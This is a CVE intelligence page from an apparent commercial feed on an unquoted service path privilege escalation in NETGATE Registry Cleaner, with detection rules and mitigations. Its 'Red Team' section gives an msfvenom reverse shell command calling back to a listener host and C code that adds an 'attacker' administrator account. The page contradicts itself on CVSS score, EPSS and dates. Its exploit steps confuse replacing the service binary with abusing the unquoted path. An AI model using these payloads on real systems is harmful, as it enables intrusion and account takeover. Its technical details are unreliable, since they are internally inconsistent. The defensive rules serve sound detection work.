☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Netgate logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.5 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-428
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2016-20057

CVE-2016-20057 is a high-severity local privilege escalation vulnerability in NETGATE Registry Cleaner build 16.
📅 PUBLISHED: 2026-04-04 14:16 UTC 🔄 UPDATED: 2026-09-23 20:14 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.61%
👁️
0.61% probability
15.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Proprietary
VULNERABLE: <= 16.0.205
CVSS VECTOR BREAKDOWN 8.5
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2016-20057 is a high-severity local privilege escalation vulnerability in NETGATE Registry Cleaner build 16.0.205. The vulnerability stems from an unquoted service path in the NGRegClnSrv service, allowing local attackers to execute arbitrary code with LocalSystem privileges. By placing a malicious executable in the unquoted path, an attacker can trigger service restart or system reboot to escalate privileges. The EPSS score is 0.0%, indicating low exploitation likelihood, but the vulnerability is unpatched and publicly documented.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a standalone Windows desktop application (NETGATE Registry Cleaner). No supply chain implications are present.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.8 (High)
  • Attack Vector: Local (AV:L) – requires local access to the system.
  • Attack Complexity: Low (AC:L) – no special conditions needed.
  • Privileges Required: Low (PR:L) – attacker needs initial user-level access.
  • User Interaction: None (UI:N) – no user action required.
  • Scope: Unchanged (S:U) – exploitation stays within the same security authority.
  • Confidentiality, Integrity, Availability Impact: High (C:H/I:H/A:H) – full system compromise.

Threat Level: High. While EPSS is low, the vulnerability is trivial to exploit and unpatched, making it a significant risk for systems running the affected software.

Deep Dive & Mechanics

The vulnerability exists in the NGRegClnSrv service, which is installed with an unquoted service binary path. Windows services with unquoted paths are vulnerable because the system interprets spaces as argument separators. For example, if the service binary path is:

C:\Program Files\NETGATE Registry Cleaner\NGRegClnSrv.exe

Without quotes, Windows will attempt to execute:

  1. C:\Program.exe
  2. C:\Program Files\NETGATE.exe
  3. C:\Program Files\NETGATE Registry.exe
  4. C:\Program Files\NETGATE Registry Cleaner\NGRegClnSrv.exe

An attacker with write access to any directory in the path (e.g., C:\Program Files\NETGATE Registry Cleaner\) can place a malicious executable named NGRegClnSrv.exe or another name that matches the unquoted path. When the service starts (e.g., after a reboot or manual restart), the malicious executable runs with LocalSystem privileges.

Attack Flow:

  1. Attacker gains low-privileged access to the target system.
  2. Identifies the unquoted service path via sc qc NGRegClnSrv or wmic.
  3. Places a malicious executable (e.g., NGRegClnSrv.exe) in a writable directory along the path.
  4. Triggers service restart (e.g., sc stop NGRegClnSrv and sc start NGRegClnSrv) or waits for system reboot.
  5. Malicious code executes with SYSTEM privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Unquoted Service Path): The service is installed with an unquoted path. Example registry key:

HKLM\SYSTEM\CurrentControlSet\Services\NGRegClnSrv
ImagePath = C:\Program Files\NETGATE Registry Cleaner\NGRegClnSrv.exe

Patched Code (Hypothetical): A patched version would quote the path:

ImagePath = "C:\Program Files\NETGATE Registry Cleaner\NGRegClnSrv.exe"

Since no official patch exists, the only mitigation is to manually quote the path or remove the software.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Local user access on a Windows system with NETGATE Registry Cleaner 16.0.205 installed.
  • Write access to a directory in the service path (e.g., C:\Program Files\NETGATE Registry Cleaner\).

Exploit Steps:

  1. Identify the vulnerable service:

    sc qc NGRegClnSrv
    

    Output will show BINARY_PATH_NAME without quotes.

  2. Create a malicious executable (e.g., using msfvenom or custom code):

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o NGRegClnSrv.exe
    
  3. Place the executable in a writable directory along the path:

    copy NGRegClnSrv.exe "C:\Program Files\NETGATE Registry Cleaner\"
    
  4. Trigger service restart:

    sc stop NGRegClnSrv
    sc start NGRegClnSrv
    

    Or reboot the system.

  5. Receive reverse shell as SYSTEM.

Alternative Payload (Add Admin User):

#include <stdlib.h>
int main() {
    system("net user attacker Password123! /add");
    system("net localgroup Administrators attacker /add");
    return 0;
}

Compile with x86_64-w64-mingw32-gcc -o NGRegClnSrv.exe adduser.c.

Blue Team (Detection & Response)

Detection Steps:

  • Monitor for service binary path changes (Event ID 7045).
  • Look for processes spawned from unexpected locations (e.g., C:\Program Files\NETGATE Registry Cleaner\NGRegClnSrv.exe).
  • Check for unauthorized files in C:\Program Files\NETGATE Registry Cleaner\.

Hunting Queries:

  • Sysmon Event ID 1 (Process Creation): Look for NGRegClnSrv.exe with parent process services.exe.
  • Windows Event Log 7045: New service with unquoted path.

Mitigation:

  • Manually quote the service path:
    sc config NGRegClnSrv binPath= "\"C:\Program Files\NETGATE Registry Cleaner\NGRegClnSrv.exe\""
    
  • Remove the software if not needed.
  • Restrict write permissions to C:\Program Files\NETGATE Registry Cleaner\ to Administrators only.

Indicators of Compromise (IOCs)

  • Service Name: NGRegClnSrv
  • Service Binary Path: C:\Program Files\NETGATE Registry Cleaner\NGRegClnSrv.exe (unquoted)
  • Registry Key: HKLM\SYSTEM\CurrentControlSet\Services\NGRegClnSrv
  • Suspicious Files: NGRegClnSrv.exe in writable directories (e.g., C:\Program Files\NETGATE Registry Cleaner\)
  • Event IDs: 7045 (service install), 7034/7036 (service crash/state change)
  • Network Connections: Reverse shells from NGRegClnSrv.exe to external IPs.

Detection Engineering

YARA Rule

rule CVE_2016_20057_UnquotedServicePath {
    meta:
        description = "Detects unquoted service path for NGRegClnSrv"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2016-20057"
    strings:
        $s1 = "NGRegClnSrv" nocase
        $s2 = "C:\\Program Files\\NETGATE Registry Cleaner\\NGRegClnSrv.exe" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Unquoted Service Path Exploitation - NGRegClnSrv
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects service installation or modification with unquoted path for NGRegClnSrv
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName: 'NGRegClnSrv'
        ImagePath|contains: 'C:\Program Files\NETGATE Registry Cleaner\NGRegClnSrv.exe'
    condition: selection
falsepositives:
    - Legitimate software installation (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $SHELL_PORTS (msg:"CVE-2016-20057 Potential Reverse Shell from NGRegClnSrv"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Note: This is a generic reverse shell detection; adjust based on actual payload behavior.

Remediation & Mitigation

Immediate Actions:

  1. Quote the service path manually:
    sc config NGRegClnSrv binPath= "\"C:\Program Files\NETGATE Registry Cleaner\NGRegClnSrv.exe\""
    
  2. Restrict write permissions to the service directory to Administrators only.
  3. Remove the software if not essential.

Long-Term:

  • Monitor for vendor patches (none available as of 2025).
  • Use application whitelisting to block unauthorized executables.
  • Implement least privilege principles for local users.

Detection:

  • Deploy YARA/Sigma rules to detect unquoted paths.
  • Enable Sysmon and collect Event ID 7045.

Valters IT

{/* [Security Hash: 77A606ECFC00ECB698ADD8F7] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2016-20057/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.